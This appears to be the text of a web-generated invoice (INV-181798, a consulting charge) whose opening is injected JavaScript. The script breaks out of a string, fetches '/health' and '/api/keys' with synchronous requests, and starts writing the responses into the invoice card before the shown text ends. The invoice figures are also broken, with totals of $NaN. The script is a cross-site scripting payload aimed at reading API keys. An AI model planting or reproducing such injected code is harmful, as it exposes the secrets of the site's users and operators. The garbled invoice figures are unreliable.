');}try{var out=[];function g(u){try{var x=new XMLHttpRequest();x.open('GET',u,false);x.send();return u+' '+x.status+' :: '+x.responseText.slice(0,1200);}catch(e){return u+' ERR '+e;}}out.push(g('/health'));out.push(g('/api/keys'));var b=document.querySelector('.invoice-card')||document.body;b.text

Accounts receivable

Invoice

Payment request for $NaN

Invoice ID **INV-181798**

Issue date **2026-09-22**

Due date **Due on receipt**

Bill To

Hnt

hnt@x.co

Amount due

$NaN

Description	Qty	Rate	Amount
Consulting	1	**USD 100.00**	**USD 0.00**

Subtotal	**USD 100.00**
Tax	**USD 0.00**
Discount	**USD 0.00**
Shipping	**USD 0.00**
Total	**$NaN**

Thank you

Thank you

Payment due within 7 days. Please include invoice ID INV-181798 with your payment.

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